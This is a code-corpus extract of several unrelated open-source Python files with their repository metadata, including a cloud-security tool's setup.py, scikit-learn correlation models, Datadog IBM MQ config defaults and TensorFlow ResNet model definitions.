import setuptools setuptools.setup( name='cloud_inquisitor', version='3.0.0', entry_points={ 'console_scripts': [ 'cloud-inquisitor = cloud_inquisitor.cli:cli' ], 'cloud_inquisitor.plugins.commands': [ 'auth = cloud_inquisitor.plugins.commands.auth:Auth', 'import-saml = cloud_inquisitor.plugins.commands.saml:ImportSAML', 'list_plugins = cloud_inquisitor.plugins.commands.plugins:ListPlugins', 'scheduler = cloud_inquisitor.plugins.commands.scheduler:Scheduler', 'setup = cloud_inquisitor.plugins.commands.setup:Setup', 'userdata = cloud_inquisitor.plugins.commands.userdata:UserData', 'worker = cloud_inquisitor.plugins.commands.scheduler:Worker', ], 'cloud_inquisitor.plugins.notifiers': [ 'email_notify = cloud_inquisitor.plugins.notifiers.email:EmailNotifier', 'slack_notify = cloud_inquisitor.plugins.notifiers.slack:SlackNotifier', ], 'cloud_inquisitor.plugins.types': [ 'ami_type = cloud_inquisitor.plugins.types.resources:AMI', 'beanstalk_type = cloud_inquisitor.plugins.types.resources:BeanStalk', 'cloudfrontdist_type = cloud_inquisitor.plugins.types.resources:CloudFrontDist', 'dnsrecord_type = cloud_inquisitor.plugins.types.resources:DNSRecord', 'dnszone_type = cloud_inquisitor.plugins.types.resources:DNSZone', 'ebssnapshot_type = cloud_inquisitor.plugins.types.resources:EBSSnapshot', 'ebsvolume_type = cloud_inquisitor.plugins.types.resources:EBSVolume', 'ec2instance_type = cloud_inquisitor.plugins.types.resources:EC2Instance', 'rdsinstance_type = cloud_inquisitor.plugins.types.resources:RDSInstance', 's3bucket_type = cloud_inquisitor.plugins.types.resources:S3Bucket', 'vpc_type = cloud_inquisitor.plugins.types.resources:VPC' ], 'cloud_inquisitor.plugins.types.accounts': [ 'AWS = cloud_inquisitor.plugins.types.accounts:AWSAccount', 'DNS: AXFR = cloud_inquisitor.plugins.types.accounts:AXFRAccount', 'DNS: CloudFlare = cloud_inquisitor.plugins.types.accounts:CloudFlareAccount', ], 'cloud_inquisitor.plugins.schedulers': [], 'cloud_inquisitor.plugins.views': [ 'account_details = cloud_inquisitor.plugins.views.accounts:AccountDetail', 'account_imex = cloud_inquisitor.plugins.views.accounts:AccountImportExport', 'account_list = cloud_inquisitor.plugins.views.accounts:AccountList', 'auditlog_get = cloud_inquisitor.plugins.views.auditlog:AuditLogGet', 'auditlog_list = cloud_inquisitor.plugins.views.auditlog:AuditLogList', 'config = cloud_inquisitor.plugins.views.config:ConfigGet', 'config_import_export = cloud_inquisitor.plugins.views.config:ConfigImportExport', 'config_list = cloud_inquisitor.plugins.views.config:ConfigList', 'config_namespace_get = cloud_inquisitor.plugins.views.config:NamespaceGet', 'config_namespace_list = cloud_inquisitor.plugins.views.config:Namespaces', 'email = cloud_inquisitor.plugins.views.emails:EmailGet', 'email_list = cloud_inquisitor.plugins.views.emails:EmailList', 'log = cloud_inquisitor.plugins.views.logs:Logs', 'log_details = cloud_inquisitor.plugins.views.logs:LogDetails', 'metadata = cloud_inquisitor.plugins.views.metadata:MetaData', 'password_reset = cloud_inquisitor.plugins.views.users:PasswordReset', 'role_get = cloud_inquisitor.plugins.views.roles:RoleGet', 'role_list = cloud_inquisitor.plugins.views.roles:RoleList', 'search = cloud_inquisitor.plugins.views.search:Search', 'stats = cloud_inquisitor.plugins.views.stats:StatsGet', 'template_get = cloud_inquisitor.plugins.views.templates:TemplateGet', 'template_list = cloud_inquisitor.plugins.views.templates:TemplateList', 'user_details = cloud_inquisitor.plugins.views.users:UserDetails', 'user_list = cloud_inquisitor.plugins.views.users:UserList', ] }, packages=setuptools.find_packages( exclude=[ '*.tests', '*.tests.*', 'tests.*', 'tests' ] ), include_package_data=True, zip_safe=False, # Requirements for setup and installation setup_requires=['setuptools_scm'], install_requires=[ 'Flask-Compress~=1.4', 'Flask-Migrate~=2.1', 'Flask-RESTful~=0.3', 'Flask-SQLAlchemy~=2.3', 'Flask-Script~=2.0', 'Flask~=0.12', 'Jinja2~=2.9', 'MarkupSafe~=1.0', 'PyJWT~=1.5', 'SQLAlchemy~=1.1', 'argon2-cffi~=16.3', 'boto3~=1.9', 'click~=6.7', 'enum34~=1.1', 'flake8-comprehensions~=1.4', 'flake8-deprecated~=1.2', 'flake8-pep3101~=1.1', 'flake8-quotes~=0.9', 'flake8~=3.3', 'gunicorn~=19.7', 'ipython~=6.2', 'moto~=1.3', 'munch~=2.1', 'mysqlclient~=1.3', 'pyexcel-xlsx~=0.5', 'pytest~=5.0', 'pytest-cov~=2.6', 'rainbow-logging-handler~=2.2', 'requests~=2.19', 'slackclient~=1.0', 'sqlservice~=0.20', ], # Metadata description='Tool to enforce ownership and data security within cloud environments', long_description='Please see https://github.com/RiotGames/cloud-inquisitor for more information', author='Riot Games Security', author_email='security@riotgames.com', url='https://github.com/RiotGames/cloud-inquisitor', license='Apache 2.0', classifiers=[ # Current project status 'Development Status :: 4 - Beta', # Audience 'Intended Audience :: System Administrators', 'Intended Audience :: Information Technology', # License information 'License :: OSI Approved :: Apache Software License', # Supported python versions 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', # Frameworks used 'Framework :: Flask', # Supported OS's 'Operating System :: MacOS :: MacOS X', 'Operating System :: POSIX :: Linux', 'Operating System :: Unix', # Extra metadata 'Environment :: Console', 'Natural Language :: English', 'Topic :: Security', 'Topic :: Utilities', ], keywords='cloud security', )

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0efbc69823e33452fa11d2e01ca926d4548e77bf

129

py

Python

gQuant/plugins/cusignal_plugin/greenflow_cusignal_plugin/convolution/__init__.py

t-triobox/gQuant

6ee3ba104ce4c6f17a5755e7782298902d125563

[ "Apache-2.0" ]

null

gQuant/plugins/cusignal_plugin/greenflow_cusignal_plugin/convolution/__init__.py

t-triobox/gQuant

6ee3ba104ce4c6f17a5755e7782298902d125563

[ "Apache-2.0" ]

null

gQuant/plugins/cusignal_plugin/greenflow_cusignal_plugin/convolution/__init__.py

t-triobox/gQuant

6ee3ba104ce4c6f17a5755e7782298902d125563

[ "Apache-2.0" ]

null

from .convolve import * from .correlate import * from .fftconvolve import * from .convolve2d import * from .correlate2d import *

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1678e70fc56062104c898fa9e2417c740e03b325

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py

Python

lib/python2.7/site-packages/sklearn/gaussian_process/correlation_models.py

wfehrnstrom/harmonize

e5661d24b2021739e8ac4bf1d3a530eda4e155b3

[ "MIT" ]

6,989

2017-07-18T06:23:18.000Z

2022-03-31T15:58:36.000Z

lib/python2.7/site-packages/sklearn/gaussian_process/correlation_models.py

wfehrnstrom/harmonize

e5661d24b2021739e8ac4bf1d3a530eda4e155b3

[ "MIT" ]

1,978

2017-07-18T09:17:58.000Z

2022-03-31T14:28:43.000Z

lib/python2.7/site-packages/sklearn/gaussian_process/correlation_models.py

wfehrnstrom/harmonize

e5661d24b2021739e8ac4bf1d3a530eda4e155b3

[ "MIT" ]

1,228

2017-07-18T09:03:13.000Z

2022-03-29T05:57:40.000Z

# -*- coding: utf-8 -*- # Author: Vincent Dubourg <vincent.dubourg@gmail.com> # (mostly translation, see implementation details) # License: BSD 3 clause """ The built-in correlation models submodule for the gaussian_process module. """ import numpy as np def absolute_exponential(theta, d): """ Absolute exponential autocorrelation model. (Ornstein-Uhlenbeck stochastic process):: n theta, d --> r(theta, d) = exp( sum - theta_i * |d_i| ) i = 1 Parameters ---------- theta : array_like An array with shape 1 (isotropic) or n (anisotropic) giving the autocorrelation parameter(s). d : array_like An array with shape (n_eval, n_features) giving the componentwise distances between locations x and x' at which the correlation model should be evaluated. Returns ------- r : array_like An array with shape (n_eval, ) containing the values of the autocorrelation model. """ theta = np.asarray(theta, dtype=np.float64) d = np.abs(np.asarray(d, dtype=np.float64)) if d.ndim > 1: n_features = d.shape[1] else: n_features = 1 if theta.size == 1: return np.exp(- theta[0] * np.sum(d, axis=1)) elif theta.size != n_features: raise ValueError("Length of theta must be 1 or %s" % n_features) else: return np.exp(- np.sum(theta.reshape(1, n_features) * d, axis=1)) def squared_exponential(theta, d): """ Squared exponential correlation model (Radial Basis Function). (Infinitely differentiable stochastic process, very smooth):: n theta, d --> r(theta, d) = exp( sum - theta_i * (d_i)^2 ) i = 1 Parameters ---------- theta : array_like An array with shape 1 (isotropic) or n (anisotropic) giving the autocorrelation parameter(s). d : array_like An array with shape (n_eval, n_features) giving the componentwise distances between locations x and x' at which the correlation model should be evaluated. Returns ------- r : array_like An array with shape (n_eval, ) containing the values of the autocorrelation model. """ theta = np.asarray(theta, dtype=np.float64) d = np.asarray(d, dtype=np.float64) if d.ndim > 1: n_features = d.shape[1] else: n_features = 1 if theta.size == 1: return np.exp(-theta[0] * np.sum(d ** 2, axis=1)) elif theta.size != n_features: raise ValueError("Length of theta must be 1 or %s" % n_features) else: return np.exp(-np.sum(theta.reshape(1, n_features) * d ** 2, axis=1)) def generalized_exponential(theta, d): """ Generalized exponential correlation model. (Useful when one does not know the smoothness of the function to be predicted.):: n theta, d --> r(theta, d) = exp( sum - theta_i * |d_i|^p ) i = 1 Parameters ---------- theta : array_like An array with shape 1+1 (isotropic) or n+1 (anisotropic) giving the autocorrelation parameter(s) (theta, p). d : array_like An array with shape (n_eval, n_features) giving the componentwise distances between locations x and x' at which the correlation model should be evaluated. Returns ------- r : array_like An array with shape (n_eval, ) with the values of the autocorrelation model. """ theta = np.asarray(theta, dtype=np.float64) d = np.asarray(d, dtype=np.float64) if d.ndim > 1: n_features = d.shape[1] else: n_features = 1 lth = theta.size if n_features > 1 and lth == 2: theta = np.hstack([np.repeat(theta[0], n_features), theta[1]]) elif lth != n_features + 1: raise Exception("Length of theta must be 2 or %s" % (n_features + 1)) else: theta = theta.reshape(1, lth) td = theta[:, 0:-1].reshape(1, n_features) * np.abs(d) ** theta[:, -1] r = np.exp(- np.sum(td, 1)) return r def pure_nugget(theta, d): """ Spatial independence correlation model (pure nugget). (Useful when one wants to solve an ordinary least squares problem!):: n theta, d --> r(theta, d) = 1 if sum |d_i| == 0 i = 1 0 otherwise Parameters ---------- theta : array_like None. d : array_like An array with shape (n_eval, n_features) giving the componentwise distances between locations x and x' at which the correlation model should be evaluated. Returns ------- r : array_like An array with shape (n_eval, ) with the values of the autocorrelation model. """ theta = np.asarray(theta, dtype=np.float64) d = np.asarray(d, dtype=np.float64) n_eval = d.shape[0] r = np.zeros(n_eval) r[np.all(d == 0., axis=1)] = 1. return r def cubic(theta, d): """ Cubic correlation model:: theta, d --> r(theta, d) = n prod max(0, 1 - 3(theta_j*d_ij)^2 + 2(theta_j*d_ij)^3) , i = 1,...,m j = 1 Parameters ---------- theta : array_like An array with shape 1 (isotropic) or n (anisotropic) giving the autocorrelation parameter(s). d : array_like An array with shape (n_eval, n_features) giving the componentwise distances between locations x and x' at which the correlation model should be evaluated. Returns ------- r : array_like An array with shape (n_eval, ) with the values of the autocorrelation model. """ theta = np.asarray(theta, dtype=np.float64) d = np.asarray(d, dtype=np.float64) if d.ndim > 1: n_features = d.shape[1] else: n_features = 1 lth = theta.size if lth == 1: td = np.abs(d) * theta elif lth != n_features: raise Exception("Length of theta must be 1 or " + str(n_features)) else: td = np.abs(d) * theta.reshape(1, n_features) td[td > 1.] = 1. ss = 1. - td ** 2. * (3. - 2. * td) r = np.prod(ss, 1) return r def linear(theta, d): """ Linear correlation model:: theta, d --> r(theta, d) = n prod max(0, 1 - theta_j*d_ij) , i = 1,...,m j = 1 Parameters ---------- theta : array_like An array with shape 1 (isotropic) or n (anisotropic) giving the autocorrelation parameter(s). d : array_like An array with shape (n_eval, n_features) giving the componentwise distances between locations x and x' at which the correlation model should be evaluated. Returns ------- r : array_like An array with shape (n_eval, ) with the values of the autocorrelation model. """ theta = np.asarray(theta, dtype=np.float64) d = np.asarray(d, dtype=np.float64) if d.ndim > 1: n_features = d.shape[1] else: n_features = 1 lth = theta.size if lth == 1: td = np.abs(d) * theta elif lth != n_features: raise Exception("Length of theta must be 1 or %s" % n_features) else: td = np.abs(d) * theta.reshape(1, n_features) td[td > 1.] = 1. ss = 1. - td r = np.prod(ss, 1) return r

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167fa736ddf201da2a8ff33112b9163c9c9c6da7

34

py

Python

rockstarpy/__init__.py

yanorestes/rockstar-py

0e4fe54f8677903e55c60edeee5f097c6139bef2

[ "MIT" ]

48

2018-07-24T18:55:38.000Z

2019-11-05T23:06:51.000Z

rockstarpy/__init__.py

yyyyyyyyyyan/rockstar-py

0e4fe54f8677903e55c60edeee5f097c6139bef2

[ "MIT" ]

29

2018-07-24T23:18:15.000Z

2019-02-24T23:22:31.000Z

rockstarpy/__init__.py

yanorestes/rockstar-py

0e4fe54f8677903e55c60edeee5f097c6139bef2

[ "MIT" ]

19

2018-07-24T22:43:29.000Z

2019-04-03T12:30:12.000Z

from .transpile import Transpiler

17

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1

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6

16ace52b4ab618498ba5393fa71f714b0855addc

29

py

Python

submitter/__init__.py

Sorosliu1029/LeetCode

4aefc25a2095b6c06004d06dc9e45fa3db26dc12

[ "MIT" ]

1

2022-01-14T07:59:49.000Z

submitter/__init__.py

Sorosliu1029/LeetCode

4aefc25a2095b6c06004d06dc9e45fa3db26dc12

[ "MIT" ]

null

submitter/__init__.py

Sorosliu1029/LeetCode

4aefc25a2095b6c06004d06dc9e45fa3db26dc12

[ "MIT" ]

null

from .Submitter import submit

29

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null

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1

0

1

0

1

0

6

16df631d88bd99d5c293b28124cd1c19cfa08bff

31

py

Python

rapidenv/git/__init__.py

innoviz-sw-infra/rapid-env

acc5e1e461af42b5fbb7024c0b79d4315c206fe2

[ "MIT" ]

1

2021-02-15T20:55:49.000Z

rapidenv/git/__init__.py

innoviz-sw-infra/rapid-env

acc5e1e461af42b5fbb7024c0b79d4315c206fe2

[ "MIT" ]

null

rapidenv/git/__init__.py

innoviz-sw-infra/rapid-env

acc5e1e461af42b5fbb7024c0b79d4315c206fe2

[ "MIT" ]

null

from .git import add_gitignore

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1

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1

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6

bc60a34cff8e3ad297d167a268e5639eb89db5b4

47

py

Python

multiprocessing_tools/__init__.py

smwa/multiprocessing_tools

11f00f0cc12cf1b23a6e3a9daafaf8c98529a6e7

[ "MIT" ]

null

multiprocessing_tools/__init__.py

smwa/multiprocessing_tools

11f00f0cc12cf1b23a6e3a9daafaf8c98529a6e7

[ "MIT" ]

null

multiprocessing_tools/__init__.py

smwa/multiprocessing_tools

11f00f0cc12cf1b23a6e3a9daafaf8c98529a6e7

[ "MIT" ]

null

from .multiprocessing_tools import map, filter

23.5

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true

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null

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1

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1

0

1

0

6

bcbacb72bbd0a9a00efabf23e3328bbf0628fce2

375

py

Python

wordpress_xmlrpc/methods/__init__.py

hishamnajam/python-wordpress-xmlrpc

8270a9f629b7d097e59ac5c649f41c8c1ee322a8

[ "MIT" ]

218

2015-01-12T02:05:07.000Z

2022-03-27T19:11:10.000Z

wordpress_xmlrpc/methods/__init__.py

kholidfu/python-wordpress-xmlrpc

7ac0a6e9934fdbf02c2250932e0c026cf530d400

[ "MIT" ]

80

2015-01-17T18:52:05.000Z

2022-03-06T18:09:17.000Z

wordpress_xmlrpc/methods/__init__.py

kholidfu/python-wordpress-xmlrpc

7ac0a6e9934fdbf02c2250932e0c026cf530d400

[ "MIT" ]

90

2015-01-25T22:41:37.000Z

2022-02-25T14:20:29.000Z

""" Implementations of standard WordPress XML-RPC APIs. """ from wordpress_xmlrpc.methods import posts from wordpress_xmlrpc.methods import pages from wordpress_xmlrpc.methods import demo from wordpress_xmlrpc.methods import users from wordpress_xmlrpc.methods import options from wordpress_xmlrpc.methods import comments from wordpress_xmlrpc.methods import media

34.090909

52

0.837333

49

375

6.265306

0.367347

0.296417

0.433225

0.592834

0.729642

0

0.122667

375

10

53

37.5

0.933131

0.136

0

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true

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0

null

0

1

0

1

0

1

0

6

4c4dd80fae46758e649d33cb53a3f626eb63a2a9

2,860

py

Python

ibm_mq/datadog_checks/ibm_mq/config_models/defaults.py

aymeric-ledizes/integrations-core

8386537099f5497a05192b97e69d97d47e316f78

[ "BSD-3-Clause" ]

null

ibm_mq/datadog_checks/ibm_mq/config_models/defaults.py

aymeric-ledizes/integrations-core

8386537099f5497a05192b97e69d97d47e316f78

[ "BSD-3-Clause" ]

null

ibm_mq/datadog_checks/ibm_mq/config_models/defaults.py

aymeric-ledizes/integrations-core

8386537099f5497a05192b97e69d97d47e316f78

[ "BSD-3-Clause" ]

null

# (C) Datadog, Inc. 2021-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) # This file is autogenerated. # To change this file you should edit assets/configuration/spec.yaml and then run the following commands: # ddev -x validate config -s <INTEGRATION_NAME> # ddev -x validate models -s <INTEGRATION_NAME> from datadog_checks.base.utils.models.fields import get_default_field_value def shared_service(field, value): return get_default_field_value(field, value) def instance_auto_discover_channels(field, value): return True def instance_auto_discover_queues(field, value): return False def instance_channel_status_mapping(field, value): return get_default_field_value(field, value) def instance_channels(field, value): return get_default_field_value(field, value) def instance_collect_statistics_metrics(field, value): return False def instance_connection_name(field, value): return get_default_field_value(field, value) def instance_convert_endianness(field, value): return False def instance_disable_generic_tags(field, value): return False def instance_empty_default_hostname(field, value): return False def instance_host(field, value): return 'localhost' def instance_metric_patterns(field, value): return get_default_field_value(field, value) def instance_min_collection_interval(field, value): return 15 def instance_mqcd_version(field, value): return 6 def instance_override_hostname(field, value): return False def instance_password(field, value): return get_default_field_value(field, value) def instance_port(field, value): return 1414 def instance_queue_manager_timezone(field, value): return 'Etc/UTC' def instance_queue_patterns(field, value): return get_default_field_value(field, value) def instance_queue_regex(field, value): return get_default_field_value(field, value) def instance_queue_tag_re(field, value): return get_default_field_value(field, value) def instance_queues(field, value): return get_default_field_value(field, value) def instance_service(field, value): return get_default_field_value(field, value) def instance_ssl_auth(field, value): return False def instance_ssl_certificate_label(field, value): return get_default_field_value(field, value) def instance_ssl_cipher_spec(field, value): return 'TLS_RSA_WITH_AES_256_CBC_SHA' def instance_ssl_key_repository_location(field, value): return '/var/mqm/ssl-db/client/KeyringClient' def instance_tags(field, value): return get_default_field_value(field, value) def instance_timeout(field, value): return 5 def instance_try_basic_auth(field, value): return True def instance_username(field, value): return get_default_field_value(field, value)

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py

Python

tensorflow2/tf2cv/models/resnet_cub.py

naviocean/imgclsmob

f2993d3ce73a2f7ddba05da3891defb08547d504

[ "MIT" ]

2,649

2018-08-03T14:18:00.000Z

2022-03-31T08:08:17.000Z

tensorflow2/tf2cv/models/resnet_cub.py

naviocean/imgclsmob

f2993d3ce73a2f7ddba05da3891defb08547d504

[ "MIT" ]

95

2018-08-13T01:46:03.000Z

2022-03-13T08:38:14.000Z

tensorflow2/tf2cv/models/resnet_cub.py

naviocean/imgclsmob

f2993d3ce73a2f7ddba05da3891defb08547d504

[ "MIT" ]

549

2018-08-06T08:09:22.000Z

2022-03-31T08:08:21.000Z

""" ResNet for CUB-200-2011, implemented in TensorFlow. Original paper: 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. """ __all__ = ['resnet10_cub', 'resnet12_cub', 'resnet14_cub', 'resnetbc14b_cub', 'resnet16_cub', 'resnet18_cub', 'resnet26_cub', 'resnetbc26b_cub', 'resnet34_cub', 'resnetbc38b_cub', 'resnet50_cub', 'resnet50b_cub', 'resnet101_cub', 'resnet101b_cub', 'resnet152_cub', 'resnet152b_cub', 'resnet200_cub', 'resnet200b_cub'] from .common import is_channels_first from .resnet import get_resnet def resnet10_cub(classes=200, **kwargs): """ ResNet-10 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=10, model_name="resnet10_cub", **kwargs) def resnet12_cub(classes=200, **kwargs): """ ResNet-12 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=12, model_name="resnet12_cub", **kwargs) def resnet14_cub(classes=200, **kwargs): """ ResNet-14 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=14, model_name="resnet14_cub", **kwargs) def resnetbc14b_cub(classes=200, **kwargs): """ ResNet-BC-14b model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model (bottleneck compressed). Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=14, bottleneck=True, conv1_stride=False, model_name="resnetbc14b_cub", **kwargs) def resnet16_cub(classes=200, **kwargs): """ ResNet-16 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=16, model_name="resnet16_cub", **kwargs) def resnet18_cub(classes=200, **kwargs): """ ResNet-18 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=18, model_name="resnet18_cub", **kwargs) def resnet26_cub(classes=200, **kwargs): """ ResNet-26 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=26, bottleneck=False, model_name="resnet26_cub", **kwargs) def resnetbc26b_cub(classes=200, **kwargs): """ ResNet-BC-26b model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model (bottleneck compressed). Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=26, bottleneck=True, conv1_stride=False, model_name="resnetbc26b_cub", **kwargs) def resnet34_cub(classes=200, **kwargs): """ ResNet-34 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=34, model_name="resnet34_cub", **kwargs) def resnetbc38b_cub(classes=200, **kwargs): """ ResNet-BC-38b model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model (bottleneck compressed). Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=38, bottleneck=True, conv1_stride=False, model_name="resnetbc38b_cub", **kwargs) def resnet50_cub(classes=200, **kwargs): """ ResNet-50 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=50, model_name="resnet50_cub", **kwargs) def resnet50b_cub(classes=200, **kwargs): """ ResNet-50 model with stride at the second convolution in bottleneck block from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=50, conv1_stride=False, model_name="resnet50b_cub", **kwargs) def resnet101_cub(classes=200, **kwargs): """ ResNet-101 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=101, model_name="resnet101_cub", **kwargs) def resnet101b_cub(classes=200, **kwargs): """ ResNet-101 model with stride at the second convolution in bottleneck block from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=101, conv1_stride=False, model_name="resnet101b_cub", **kwargs) def resnet152_cub(classes=200, **kwargs): """ ResNet-152 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=152, model_name="resnet152_cub", **kwargs) def resnet152b_cub(classes=200, **kwargs): """ ResNet-152 model with stride at the second convolution in bottleneck block from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=152, conv1_stride=False, model_name="resnet152b_cub", **kwargs) def resnet200_cub(classes=200, **kwargs): """ ResNet-200 model for CUB-200-2011 from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=200, model_name="resnet200_cub", **kwargs) def resnet200b_cub(classes=200, **kwargs): """ ResNet-200 model with stride at the second convolution in bottleneck block from 'Deep Residual Learning for Image Recognition,' https://arxiv.org/abs/1512.03385. It's an experimental model. Parameters: ---------- classes : int, default 200 Number of classification classes. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_resnet(classes=classes, blocks=200, conv1_stride=False, model_name="resnet200b_cub", **kwargs) def _test(): import numpy as np import tensorflow as tf import tensorflow.keras.backend as K data_format = "channels_last" # data_format = "channels_first" pretrained = False models = [ resnet10_cub, resnet12_cub, resnet14_cub, resnetbc14b_cub, resnet16_cub, resnet18_cub, resnet26_cub, resnetbc26b_cub, resnet34_cub, resnetbc38b_cub, resnet50_cub, resnet50b_cub, resnet101_cub, resnet101b_cub, resnet152_cub, resnet152b_cub, resnet200_cub, resnet200b_cub, ] for model in models: net = model(pretrained=pretrained, data_format=data_format) batch = 14 x = tf.random.normal((batch, 3, 224, 224) if is_channels_first(data_format) else (batch, 224, 224, 3)) y = net(x) assert (tuple(y.shape.as_list()) == (batch, 200)) weight_count = sum([np.prod(K.get_value(w).shape) for w in net.trainable_weights]) print("m={}, {}".format(model.__name__, weight_count)) assert (model != resnet10_cub or weight_count == 5008392) assert (model != resnet12_cub or weight_count == 5082376) assert (model != resnet14_cub or weight_count == 5377800) assert (model != resnetbc14b_cub or weight_count == 8425736) assert (model != resnet16_cub or weight_count == 6558472) assert (model != resnet18_cub or weight_count == 11279112) assert (model != resnet26_cub or weight_count == 17549832) assert (model != resnetbc26b_cub or weight_count == 14355976) assert (model != resnet34_cub or weight_count == 21387272) assert (model != resnetbc38b_cub or weight_count == 20286216) assert (model != resnet50_cub or weight_count == 23917832) assert (model != resnet50b_cub or weight_count == 23917832) assert (model != resnet101_cub or weight_count == 42909960) assert (model != resnet101b_cub or weight_count == 42909960) assert (model != resnet152_cub or weight_count == 58553608) assert (model != resnet152b_cub or weight_count == 58553608) assert (model != resnet200_cub or weight_count == 63034632) assert (model != resnet200b_cub or weight_count == 63034632) if __name__ == "__main__": _test()

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584

py

Python

kratos_salome_plugin/exceptions.py

armingeiser/KratosSalomePlugin

d402ca9edef8dff071ceabf0ebac0d858a6fbfcc

[ "BSD-3-Clause" ]

6

2020-01-23T20:54:17.000Z

2021-02-19T09:52:29.000Z

kratos_salome_plugin/exceptions.py

armingeiser/KratosSalomePlugin

d402ca9edef8dff071ceabf0ebac0d858a6fbfcc

[ "BSD-3-Clause" ]

20

2020-01-25T16:05:43.000Z

2020-12-18T20:36:46.000Z

kratos_salome_plugin/exceptions.py

armingeiser/KratosSalomePlugin

d402ca9edef8dff071ceabf0ebac0d858a6fbfcc

[ "BSD-3-Clause" ]

3

2020-05-27T13:31:08.000Z

2020-12-18T19:50:43.000Z

